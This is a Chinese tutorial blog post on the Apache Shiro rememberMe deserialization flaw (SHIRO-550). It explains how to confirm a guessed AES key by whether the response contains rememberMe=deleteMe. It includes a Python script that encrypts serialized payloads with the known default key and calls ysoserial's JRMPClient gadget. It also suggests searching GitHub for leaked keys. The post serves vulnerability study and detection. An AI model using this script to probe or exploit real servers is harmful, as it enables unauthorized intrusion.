shiro漏洞原理以及检测key值原理

这篇具有很好参考价值的文章主要介绍了shiro漏洞原理以及检测key值原理。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

一、shiro漏洞原理

  • Shiro 1.2.4及之前的版本中,AES加密的密钥默认硬编码在代码里(SHIRO-550),Shiro 1.2.4以上版本官方移除了代码中的默认密钥,要求开发者自己设置,如果开发者没有设置,则默认动态生成,降低了固定密钥泄漏的风险。

  • 升级shiro版本并不能根本解决反序列化漏洞,代码复用会直接导致项目密钥泄漏,从而造成反序列化漏洞。针对公开的密钥集合,我们可以在github上搜索到并加以利用。(搜索关键词:"securityManager.setRememberMeManager(rememberMeManager); Base64.decode(“或"setCipherKey(Base64.decode(”)

shiro漏洞原理以及检测key值原理

二、检测shiro反序列化漏洞的key值的方法

我们如何获知选择的密钥是否与目标匹配呢?有一种思路是:当密钥不正确或类型转换异常时,目标Response包含Set-Cookie:rememberMe=deleteMe字段,而当密钥正确且没有类型转换异常时,返回包不存在Set-Cookie:rememberMe=deleteMe字段。

那么具体的检测方法一般包括如下几种:

  • 第一种是利用URLDNS进行检测https://github.com/LuckyC4t/shiro-urldns/blob/master/src/main/java/luckycat/shirourldns/URLDNS.java

  • 第二种利用命令执行进行检测  通过执行ping命令来检测。

  • 第三种使用SimplePrincipalCollection序列化后进行检测(XCheck,即Xray Check)通过使用SimplePrincipalCollection序列化来进行检测,key正确情况下不返回 deleteMe ,key错误情况下返回 deleteMe

1.密钥不正确

  • Key不正确,解密时org.apache.shiro.crypto.JcaCipherService#crypt抛出异常

shiro漏洞原理以及检测key值原理

  • 进而走进org.apache.shiro.web.servlet.impleCookie#removeFrom方法,在返回包中添加了rememberMe=deleteMe字段

shiro漏洞原理以及检测key值原理

  • 于是获得的返回包包含了Set-Cookie:rememberMe=deleteMe字段。

shiro漏洞原理以及检测key值原理

2.类型转换异常

  • org.apache.shiro.mgt.AbstractRememberMeManager#deserialize进行数据反序列化,返回结果前有对反序列化结果对象做PrincipalCollection的强制类型转换。

shiro漏洞原理以及检测key值原理

  • 可以看到类型转换报错,因为我们的反序列化结果对象与PrincipalCollection并没有继承关系

shiro漏洞原理以及检测key值原理

  • 反序列化异常后同样捕捉到异常,填到报错异常中。

shiro漏洞原理以及检测key值原理

  • 紧接着也跳到了removeFrom中,添加响应头。

shiro漏洞原理以及检测key值原理

  • 然后看响应头也同样添加了rememberMe=deleteMe

shiro漏洞原理以及检测key值原理

3.检测方法(XCheck,即Xray Check)

如上分析,我么只需要构造一个类型继承了PrincipalCollection的类,这样在反序列化是转换为PrincipalCollection时就不会报错。通过实现关系查看,SimplePrincipalCollection和SimplePrincipalMap均符合要求。

shiro漏洞原理以及检测key值原理

  • 那么构造这两个对象对象中的其中一个进行序列化。

import org.apache.shiro.subject.SimplePrincipalCollection;

import org.apache.shiro.subject.SimplePrincipalMap;

import java.io.FileOutputStream;

import java.io.ObjectOutputStream;



public class SimplePrincipalCollectionTest {

    public static void main(String[] args) throws Exception {

        SimplePrincipalMap simplePrincipalMap = new SimplePrincipalMap();

//        SimplePrincipalCollection simplePrincipalCollection = new SimplePrincipalCollection();

        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("test.bin"));

        oos.writeObject(simplePrincipalMap);

        oos.close();

    }

}
  • 将序列化号的文件用写好的脚本进行AES加密并且编码。

import sys

import base64

import uuid

from random import Random

import subprocess

from Crypto.Cipher import AES



def get_file_data(filename):

    with open(filename,'rb') as f:

        data = f.read()

    return data



def aes_enc(data):

    BS = AES.block_size

    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()

    key  =  "kPH+bIxk5D2deZiIxcaaaA=="

    mode =  AES.MODE_CBC

    iv   =  uuid.uuid4().bytes

    encryptor = AES.new(base64.b64decode(key), mode, iv)

    ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))

    return ciphertext



def encode_rememberme(command):

    popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-BETA-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)

    BS   = AES.block_size

    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()

    key  =  "kPH+bIxk5D2deZiIxcaaaA=="

    mode =  AES.MODE_CBC

    iv   =  uuid.uuid4().bytes

    encryptor = AES.new(base64.b64decode(key), mode, iv)

    file_body = pad(popen.stdout.read())

    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))

    return base64_ciphertext



if __name__ == '__main__':

    # test.bin为编译好的序列化链的内容

    data = get_file_data("test.bin")

    print(aes_enc(data))

shiro漏洞原理以及检测key值原理

  • 将编码好的payload通过rememberMe字段发送,如果密钥是正确的,则相应包中就不会存在rememberMe=deleteMe的响应头。

shiro漏洞原理以及检测key值原理文章来源地址https://www.toymoban.com/news/detail-459775.html

到了这里,关于shiro漏洞原理以及检测key值原理的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Apache Shiro RememberMe 1.2.4 反序列化过程命令执行漏洞【原理扫描】

    文章目录 一、分析定位 1. 漏洞描述 2. 项目引发漏洞简述 二、 若依系统 2.1. 版本升级 2.2. 配置文件 2.3. 推荐做法 2.4. 栗子 2.5. 项目场景 三、Gus系统 3.1. shiro版本升级 3.2. 调用重新生成 3.3. 生成工具类 shiro漏洞补充: 一、分析定位 1. 漏洞描述 2. 项目引发漏洞简述 若依/Guns管

    2024年02月15日
    浏览(35)
  • Shiro历史漏洞复现 - Shiro-721

    Shiro rememberMe 反序列化远程代码执行漏洞 由于 Apache Shiro cookie 中通过 AES-128-CBC 模式加密的 rememberMe 字段存 在问题,用户可通过 Padding Oracle 加密生成的攻击代码来构造恶意的 rememberMe 字段,并重新请求网站,进行反序列化攻击,最终导致任意代码执行 rememberMe cookie 通过 AES-

    2024年02月10日
    浏览(28)
  • Shiro反序列化漏洞综合利用工具Shiro Attack使用教程

    目录 漏洞扫描 利用链检测 执行命令 注入蚁剑内存马 将目标网站输入在目标地址栏中吗,点击爆破密钥,如果发现key,则可以利用

    2024年02月13日
    浏览(27)
  • 【shiro】shiro反序列化漏洞综合利用工具v2.2(下载、安装、使用)

    shiro反序列化漏洞综合利用工具v2.2下载: 链接:https://pan.baidu.com/s/1kvQEMrMP-PZ4K1eGwAP0_Q?pwd=zbgp 提取码:zbgp 其他工具下载: 除了该工具之外,github上还有其他大佬贡献的各种工具,有许多python编写的工具,功能简单,可以作为理解shiro漏洞原理并编写自己工具的教材。 说明 :

    2023年04月08日
    浏览(37)
  • Shiro-721---漏洞复现

    Shiro rememberMe 反序列化远程代码执行漏洞 由于 Apache Shiro cookie 中通过 AES-128-CBC 模式加密的 rememberMe 字段存 在问题,用户可通过 Padding Oracle 加密生成的攻击代码来构造恶意的 rememberMe 字段,并重新请求网站,进行反序列化攻击,最终导致任意代码执行 rememberMe cookie 通过 AES-

    2024年02月01日
    浏览(23)
  • Shiro框架漏洞分析与复现

    Shiro简介 Apache Shiro是一款开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性,可以快速轻松地保护任何应用程序——从最小的移动应用程序到最大的 Web 和企业应用程序。 1、Shiro反序列化漏洞(CVE-2016-4437,Shiro-550)

    2024年02月17日
    浏览(30)
  • shiro漏洞复现及其攻击流量分析

    最近面试时经常被问到,每次说的都不太完美,现在再来复现一边。 Apache Shiro是一个开源安全框架,提供身份验证、授权、密码学和会话管理。 利用vulhub搭建的靶场。 在Apache Shiro = 1.2.4版本中存在反序列化漏洞。 该漏洞成因在于,Shiro的“记住我”功能是设置cookie中的reme

    2024年02月06日
    浏览(24)
  • 【渗透测试】Apache Shiro系列漏洞

      🍨 Shiro-550(CVE-2016-4437) 🍦 1、漏洞原理 🍦 2、影响版本 🍦 3、漏洞利用 🍨 Shiro-721 🍦 1、漏洞原理 🍦 2、影响版本 🍦 3、漏洞利用 🍨 Shiro认证绕过漏洞(CVE-2020-1957) 🍦 1、漏洞原理 🍦 2、影响版本 🍦 3、漏洞验证 🍨 Shiro 身份验证绕过 (CVE-2020-13933) 🍦 

    2024年02月06日
    浏览(40)
  • Shiro 550与721漏洞的不同

    Apache Shiro框架进行登录,服务端在接收cookie时,会经过下面的流程: 1、检索RememberMe Cookie的值 2、Base64解码 3、AES解密(加密密钥硬编码) 4、进行 反序列化 操作(未过滤处理) 5、攻击者可以使用Shiro的 默认密钥构造恶意序列化对象 进行编码来伪造用户的Cookie,服务端反序

    2024年01月17日
    浏览(30)
  • 漏洞复现——shiro反序列化

    今天咱们的主角是shiro反序列化命令执行漏洞。该漏洞在HVV等大型攻防项目中,经常被作为突破口。简单介绍了解一下还是很有必要的。废话不多说,进入正题。 一、漏洞描述: Apache Shiro是美国阿帕奇(Apache)软件基金会的一套用于执行认证、授权、加密和会话管理的Java安

    2024年02月09日
    浏览(29)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包